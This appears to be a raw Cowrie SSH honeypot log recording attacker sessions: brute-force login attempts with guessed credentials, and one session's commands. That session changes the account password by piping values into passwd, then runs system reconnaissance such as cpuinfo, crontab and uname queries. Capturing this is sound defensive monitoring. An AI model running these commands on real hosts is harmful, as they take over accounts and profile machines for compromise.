{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:16.548922Z","src_ip":"165.154.5.148","session":"7aa153239f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:17.403137Z","src_ip":"165.154.5.148","session":"7aa153239f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:18.623419Z","src_ip":"165.154.5.148","session":"7aa153239f2f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:18.898116Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:18.901661Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.120983Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.592225Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadminadmin\\ng8lfTbDz3Iha\\ng8lfTbDz3Iha\"|passwd|bash","message":"CMD: echo -e \"adminadminadmin\\ng8lfTbDz3Iha\\ng8lfTbDz3Iha\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.595547Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.598657Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.601593Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/55e423bda2c6acc5584030773116e8bb563e7f64f911a6fc82f9e5c77448e838","size":32,"shasum":"55e423bda2c6acc5584030773116e8bb563e7f64f911a6fc82f9e5c77448e838","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/55e423bda2c6acc5584030773116e8bb563e7f64f911a6fc82f9e5c77448e838 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:19.820618Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:20.299684Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadminadmin\\ng8lfTbDz3Iha\\ng8lfTbDz3Iha\\n\"|passwd","message":"CMD: echo \"adminadminadmin\\ng8lfTbDz3Iha\\ng8lfTbDz3Iha\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:20.302554Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/525273d30ae6fed39f759f6352f754e335dacc0679f92f65e00f56137e86ac82","size":25,"shasum":"525273d30ae6fed39f759f6352f754e335dacc0679f92f65e00f56137e86ac82","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/525273d30ae6fed39f759f6352f754e335dacc0679f92f65e00f56137e86ac82 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:20.521176Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.036449Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.040043Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.259846Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.741685Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.746069Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:21.969729Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:22.441154Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:22.444433Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:22.447500Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:22.669441Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:23.148949Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:23.151345Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:23.370492Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:23.845205Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:23.848802Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:24.069373Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:24.548827Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:24.552612Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:24.773135Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:25.240254Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:25.243867Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:25.463803Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:25.949926Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:25.954129Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:26.175689Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:26.672433Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:26.676127Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:26.896883Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:27.376111Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:27.379792Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:27.600052Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.073600Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.077025Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.297031Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":45864,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e977e0fba2","protocol":"ssh","message":"New connection: 176.53.96.10:45864 (10.17.0.5:22) [session: 20e977e0fba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.375268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.379465Z","src_ip":"176.53.96.10","session":"20e977e0fba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.499902Z","src_ip":"176.53.96.10","session":"20e977e0fba2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.779031Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:28.782455Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.003829Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"support","message":"login attempt [user/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.027716Z","src_ip":"176.53.96.10","session":"20e977e0fba2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.479675Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.483107Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.702985Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:29.708565Z","src_ip":"165.154.5.148","session":"48e0737ce073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:30.151047Z","src_ip":"176.53.96.10","session":"20e977e0fba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57902,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf977bc8583","protocol":"ssh","message":"New connection: 159.203.92.129:57902 (159.203.135.109:22) [session: faf977bc8583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:53.795091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:53.799946Z","src_ip":"159.203.92.129","session":"faf977bc8583","protocol":"ssh"}
